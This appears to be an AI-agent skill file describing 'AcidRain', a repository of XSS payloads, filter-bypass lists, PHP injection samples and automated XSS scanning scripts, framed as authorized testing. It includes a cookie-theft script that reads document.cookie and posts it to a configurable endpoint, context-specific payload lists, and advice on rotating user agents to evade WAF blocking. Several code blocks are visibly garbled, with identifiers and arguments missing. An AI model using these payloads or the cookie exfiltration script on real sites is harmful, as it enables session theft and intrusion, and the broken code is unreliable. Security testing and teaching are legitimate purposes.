acidrain-security-testing-scripts

name	acidrain-security-testing-scripts
description	Use AcidRain's XSS analysis resources, JavaScript utilities, and PHP injection testing samples for authorized web security research and hands-on learning.
triggers	["test for XSS vulnerabilities with AcidRain","use AcidRain security scripts for injection testing","run AcidRain XSS analysis resources","set up AcidRain for web security research","demonstrate XSS payloads with AcidRain","analyze web application security with AcidRain scripts","configure AcidRain for authorized penetration testing","explore AcidRain JavaScript and PHP examples"]

AcidRain Security Testing Scripts

Skill by ara.so — Security Skills collection.

AcidRain is a web-oriented collection of XSS analysis resources, JavaScript utilities, PHP examples, and injection testing samples designed for authorized security testing, hands-on learning, and controlled research. The project provides browser-side and server-side material organized for security researchers and developers conducting legitimate vulnerability assessments.

Installation

Clone the repository and navigate to the working directory:

git clone https://github.com/henry-lewiskpp1107/acidrain-security-script-hub.git
cd acidrain-security-script-hub

The repository structure typically includes:

acidrain-security-script-hub/
├── scripts/
│   ├── javascript/     # Client-side XSS and browser scripts
│   ├── php/           # Server-side PHP examples
│   └── xss/           # XSS payloads and injection samples
├── configs/           # Configuration files
├── examples/          # Demonstration code
├── docs/              # Documentation
├── LICENSE
└── README.md

Project Purpose and Scope

AcidRain provides:

• XSS Analysis Resources: Payloads, vectors, and test cases for cross-site scripting research
• JavaScript Utilities: Client-side scripts for browser-based security exercises
• PHP Resources: Server-side examples for testing input validation and output encoding
• Injection Testing Samples: Code demonstrating various injection techniques
• Research Snippets: Compact, modifiable code fragments for controlled testing

Critical Authorization Requirement: Only use these scripts against:

• Applications you own or have explicit permission to test
• Deliberately vulnerable training environments (e.g., DVWA, WebGoat)
• Systems covered by a defined security testing agreement

JavaScript XSS Resources

Basic XSS Payload Structure

JavaScript payloads typically follow patterns for testing input reflection and execution context:

// Simple alert-based XSS test
<script>alert('XSS')</script>

// Event handler injection
<img src=x onerror=alert('XSS')>

// DOM-based XSS
<img src=x onerror="eval(atob('YWxlcnQoJ1hTUycp'))">

// URL-based payload
javascript:alert('XSS')

Advanced JavaScript Testing Utilities

// Cookie exfiltration test (for authorized testing only)
// scripts/javascript/cookie-exfil-test.js
(function() {
  const cookies = document.cookie;
  const testEndpoint = process.env.TEST_ENDPOINT; // Use environment variable
  
  // Log locally for educational purposes
  console.log('Cookie Test:', cookies);
  
  // In authorized testing, send to your controlled server
  if (testEndpoint) {
    fetch(testEndpoint, {
      method: 'POST',
      body: JSON.stringify({ cookies: cookies }),
      headers: { 'Content-Type': 'application/json' }
    });
  }
})();

DOM Manipulation Analysis

// scripts/javascript/dom-xss-scanner.js
/**
 * Identify potential DOM XSS sinks in authorized testing
 */
function scanDOMSinks() {
  const dangerousSinks = [
    'innerHTML',
    'outerHTML',
    'document.write',
    'eval',
    'setTimeout',
    'setInterval'
  ];
  
  const results = [];
  
  // Scan for dangerous DOM operations
  dangerousSinks.forEach(sink => {
    const elements = document.querySelectorAll('*');
    elements.forEach(el => {
      if (el[sink] && typeof el[sink] !== 'function') {
        results.push({
          sink: sink,
          element: el.tagName,
          content: el[sink]
        });
      }
    });
  });
  
  return results;
}

// Usage in browser console during authorized testing
console.log(scanDOMSinks());

Input Reflection Detector

// scripts/javascript/reflection-detector.js
/**
 * Test if user input is reflected in page output
 */
function testReflection(payload) {
  const testPayload = payload || `ACIDRAIN_TEST_${Date.now()}`;
  const url = new URL(window.location);
  
  // Test common reflection points
  const reflectionPoints = [
    document.body.innerHTML,
    document.title,
    document.documentElement.outerHTML
  ];
  
  const reflected = reflectionPoints.filter(point => 
    point.includes(testPayload)
  );
  
  return {
    payload: testPayload,
    reflected: reflected.length > 0,
    locations: reflected.length
  };
}

// Test with URL parameter
const urlParams = new URLSearchParams(window.location.search);
if (urlParams.has('test')) {
  console.log((urlParams.()));
}

PHP Server-Side Resources

Input Validation Testing

<?php
// scripts/php/input-validation-test.php
/**
 * Demonstrate vulnerable vs. secure input handling
 * For educational comparison in controlled environments
 */

// VULNERABLE EXAMPLE (for demonstration only)
function vulnerableEcho($input) {
    echo "Vulnerable output: " . $input;
}

// SECURE EXAMPLE (recommended approach)
function secureEcho($input) {
    echo "Secure output: " . htmlspecialchars($input, ENT_QUOTES, 'UTF-8');
}

// Test both approaches
$testInput = $_GET['input'] ?? '<script>alert("XSS")</script>';

echo "<h3>Vulnerable Version:</h3>";
// vulnerableEcho($testInput); // Commented for safety

echo "<h3>Secure Version:</h3>";
secureEcho($testInput);
?>

SQL Injection Testing Framework

<?php
// scripts/php/sql-injection-test.php
/**
 * Demonstrate SQL injection vulnerabilities for authorized testing
 * Requires: PDO-enabled PHP with test database
 */

// Database connection using environment variables
$dbHost = getenv('DB_HOST') ?: 'localhost';
$dbName = getenv('DB_NAME') ?: 'test_db';
$dbUser = getenv('DB_USER') ?: 'test_user';
$dbPass = getenv('DB_PASS') ?: '';

try {
    $pdo = new PDO("mysql:host=$dbHost;dbname=$dbName", $dbUser, $dbPass);
    $pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
} catch (PDOException $e) {
    die("Connection failed: " . $e->getMessage());
}

// VULNERABLE QUERY (demonstration only)
function vulnerableQuery($pdo, $username) {
    $query = "SELECT * FROM users WHERE username = ''";
    
    
     ;
}


{
     = ;
     = ->();
    ->(, , PDO::);
    ->();
     ;
}


 = [] ?? ;

 ;
(, );
 = (, );

File Upload Security Testing

<?php
// scripts/php/file-upload-test.php
/**
 * Test file upload security controls
 */

function analyzeUploadSecurity($file) {
    $results = [];
    
    // Check file extension
    $allowedExtensions = ['jpg', 'jpeg', 'png', 'gif'];
    $fileExtension = strtolower(pathinfo($file['name'], PATHINFO_EXTENSION));
    $results['extension_check'] = in_array($fileExtension, $allowedExtensions);
    
    // Check MIME type
    $allowedMimes = ['image/jpeg', 'image/png', 'image/gif'];
    $finfo = finfo_open(FILEINFO_MIME_TYPE);
    $mimeType = finfo_file($finfo, $file['tmp_name']);
    finfo_close($finfo);
    $results['mime_check'] = in_array($mimeType, $allowedMimes);
    
    // Check file size
    $maxSize = 2 * 1024 * 1024; 
    [] = [] <= ;
    
    
    [] = ([], ) !== ([], );
    
     ;
}


 ([]) {
     = ([]);
    ();
}

XSS Payload Collections

Bypass Techniques

// scripts/xss/bypass-techniques.js

// Filter bypass examples for authorized testing
const xssPayloads = {
  // Case variation
  caseVariation: '<ScRiPt>alert("XSS")</sCrIpT>',
  
  // Encoding variations
  htmlEntity: '&lt;script&gt;alert("XSS")&lt;/script&gt;',
  urlEncoded: '%3Cscript%3Ealert(%22XSS%22)%3C%2Fscript%3E',
  doubleEncoded: '%253Cscript%253Ealert(%2522XSS%2522)%253C%252Fscript%253E',
  
  // Null byte injection
  nullByte: '<script\x00>alert("XSS")</script>',
  
  // Comment-based
  commentBreak: '<!--><script>alert("XSS")</script>',
  
  // Event handlers
  eventHandlers: [
    '<img src=x onerror=alert("XSS")>',
    '<body onload=alert("XSS")>',
    '<svg onload=alert("XSS")>',
    '<input onfocus=alert("XSS") autofocus>',
    '<select onfocus=alert("XSS") autofocus>'
  ],
  
  // Protocol handlers
  protocols: [
    '<a href="javascript:alert(\'XSS\')">Click</a>',
    '<a href="data:text/html,<script>alert(\'XSS\')</script>">Click</a>',
    '<a href="vbscript:msgbox(\'XSS\')">Click</a>'
  ],
  
  // DOM-based
  domBased: 'window.location.hash.slice(1)',
  
  // Template injection
  templateInjection: '{{7*7}}[[7*7]]'
};

// Export for testing framework
if (typeof module !==  && .) {
  . = xssPayloads;
}

Context-Specific Payloads

// scripts/xss/context-payloads.js

const contextPayloads = {
  // HTML context
  htmlContext: [
    '<script>alert(1)</script>',
    '<img src=x onerror=alert(1)>',
    '<svg/onload=alert(1)>'
  ],
  
  // Attribute context
  attributeContext: [
    '" onmouseover="alert(1)',
    '\' onmouseover=\'alert(1)',
    '"><script>alert(1)</script>'
  ],
  
  // JavaScript context
  jsContext: [
    '\'-alert(1)-\'',
    '\";alert(1);//',
    '</script><script>alert(1)</script>'
  ],
  
  // URL context
  urlContext: [
    'javascript:alert(1)',
    'data:text/html,<script>alert(1)</script>',
    'http://example.com?param=<script>alert(1)</script>'
  ],
  
  // CSS context
  cssContext: [
    'expression(alert(1))',
    '</style><script>alert(1)</script>',
    'background:url(javascript:alert(1))'
  ]
};

Configuration and Environment Setup

Environment Variables

Create a .env file for configuration (never commit this file):

# .env (example - DO NOT commit to repository)

# Testing endpoint for data exfiltration tests
TEST_ENDPOINT=http://localhost:8080/test-receiver

# Database credentials for PHP testing
DB_HOST=localhost
DB_NAME=security_test_db
DB_USER=test_user
DB_PASS=test_password

# Target application (authorized testing only)
TARGET_URL=http://localhost:3000

# Logging
LOG_LEVEL=debug
LOG_FILE=./logs/acidrain.log

PHP Configuration

<?php
// configs/php-config.php
/**
 * Load environment variables for PHP scripts
 */

// Load .env file
if (file_exists(__DIR__ . '/../.env')) {
    $envFile = file(__DIR__ . '/../.env', FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES);
    foreach ($envFile as $line) {
        if (strpos($line, '#') === 0) continue;
        list($key, $value) = explode('=', $line, 2);
        putenv("$key=$value");
        $_ENV[$key] = $value;
    }
}

// Security headers for test environment
header('X-Frame-Options: DENY');
header('X-Content-Type-Options: nosniff');
header('X-XSS-Protection: 0'); // Disabled for testing

// Error reporting for development
error_reporting(E_ALL);
ini_set('display_errors', );

Common Testing Patterns

Automated XSS Scanning Workflow

// examples/automated-xss-scan.js
/**
 * Automated XSS testing workflow for authorized targets
 */

const payloads = require('./scripts/xss/bypass-techniques.js');

async function testXSSVulnerability(url, param, payload) {
  const testUrl = `${url}?${param}=${encodeURIComponent(payload)}`;
  
  try {
    const response = await fetch(testUrl);
    const html = await response.text();
    
    // Check if payload is reflected without encoding
    const isReflected = html.includes(payload);
    const isEncoded = html.includes(payload.replace(/</g, '&lt;'));
    
    return {
      url: testUrl,
      payload: payload,
      reflected: isReflected,
      encoded: isEncoded,
      vulnerable: isReflected && !isEncoded
    };
  } catch (error) {
    return { error: error.message };
  }
}

async function scanTarget(targetUrl, parameters) {
  const results = [];
  
  for (const param  parameters) {
     ( payload  payloads.) {
       result =  (targetUrl, param, payload);
      results.(result);
      
      
        ( (resolve, ));
    }
  }
  
   results;
}


 targetUrl = process.. || ;
 testParams = [, , , ];

(targetUrl, testParams).( {
   vulnerabilities = results.( r.);
  .();
  .(.(vulnerabilities, , ));
});

Manual Testing Workflow

#!/bin/bash
# examples/manual-test-workflow.sh
# Manual XSS testing workflow script

# Load environment variables
source .env

TARGET="${TARGET_URL:-http://localhost:3000}"
PARAM="${1:-search}"
PAYLOAD="${2:-<script>alert('XSS')</script>}"

echo "Testing XSS on: $TARGET"
echo "Parameter: $PARAM"
echo "Payload: $PAYLOAD"

# URL encode the payload
ENCODED=$(python3 -c "import urllib.parse; print(urllib.parse.quote('$PAYLOAD'))")

# Test GET request
echo -e "\n[*] Testing GET request..."
curl -s "${TARGET}?${PARAM}=${ENCODED}" | grep -o "$PAYLOAD" && echo "[!] Reflected!" || echo "[*] Not reflected"

# Test POST request
echo -e "\n[*] Testing POST request..."
curl -s -X POST -d "${PARAM}=${ENCODED}" "$TARGET" | grep -o "$PAYLOAD" && echo "[!] Reflected!" || echo "[*] Not reflected"


 -e 
DOUBLE_ENCODED=$(python3 -c )
curl -s  | grep -o  &&   ||  

Troubleshooting

Payloads Not Executing

Problem: XSS payloads are reflected but not executing in the browser.

Solutions:

• Check if Content-Security-Policy (CSP) headers are blocking execution
• Verify the context (HTML, attribute, JavaScript) matches your payload
• Test different encoding methods (URL, HTML entities, Unicode)
• Use browser developer tools to inspect how the payload is rendered

// Check CSP headers
fetch(window.location.href)
  .then(response => {
    const csp = response.headers.get('Content-Security-Policy');
    console.log('CSP:', csp);
  });

// Identify execution context
function identifyContext(payload) {
  const testString = `ACIDRAIN_${Date.now()}`;
  document.body.innerHTML += testString;
  
  const inHTML = document.body.innerHTML.includes(testString);
  const inJS = document.scripts.length > 0;
  
  return { inHTML, inJS };
}

PHP Scripts Not Running

Problem: PHP scripts return blank pages or errors.

Solutions:

• Verify PHP is installed: php -v
• Check PHP error logs: tail -f /var/log/php_errors.log
• Enable error display in development:

<?php
error_reporting(E_ALL);
ini_set('display_errors', 1);
ini_set('log_errors', 1);
ini_set('error_log', __DIR__ . '/php_errors.log');
?>

• Ensure proper file permissions: chmod 644 script.php
• Verify database connectivity if using PDO

Environment Variables Not Loading

Problem: Scripts cannot access environment variables.

Solutions:

# Verify .env file exists and has correct format
cat .env

# Load variables in current shell
export $(cat .env | xargs)

# Verify variables are set
echo $TARGET_URL

<?php
// PHP: Check if variables are loaded
var_dump(getenv('TARGET_URL'));
var_dump($_ENV['TARGET_URL']);
?>

// Node.js: Use dotenv package
require('dotenv').config();
console.log(process.env.TARGET_URL);

Rate Limiting or Blocking

Problem: Automated scans are being blocked by WAF or rate limiting.

Solutions:

• Add delays between requests
• Rotate user agents
• Use session management
• Respect robots.txt and rate limits

// Add rate limiting to automated scans
async function rateLimitedRequest(url, delayMs = 1000) {
  await new Promise(resolve => setTimeout(resolve, delayMs));
  return fetch(url, {
    headers: {
      'User-Agent': 'AcidRain Security Research (Authorized Testing)'
    }
  });
}

Best Practices

1. Authorization First: Always obtain explicit written permission before testing any system you don't own

2. Isolated Environments: Set up local vulnerable applications (DVWA, bWAPP) for practice

3. Documentation: Keep detailed notes of testing methodology and findings

4. Scope Management: Define clear boundaries for what systems and attack vectors are authorized

5. Responsible Disclosure: Report vulnerabilities through proper channels with sufficient detail

6. Code Review: Understand each script before execution; never run untrusted code blindly

7. Environment Separation: Use environment variables for configuration, never hardcode credentials

8. Version Control: Never commit sensitive data, credentials, or testing results to public repositories

---

Legal Notice: The AcidRain scripts are provided for educational purposes and authorized security research only. Unauthorized access to computer systems is illegal. Always obtain proper authorization before conducting security testing.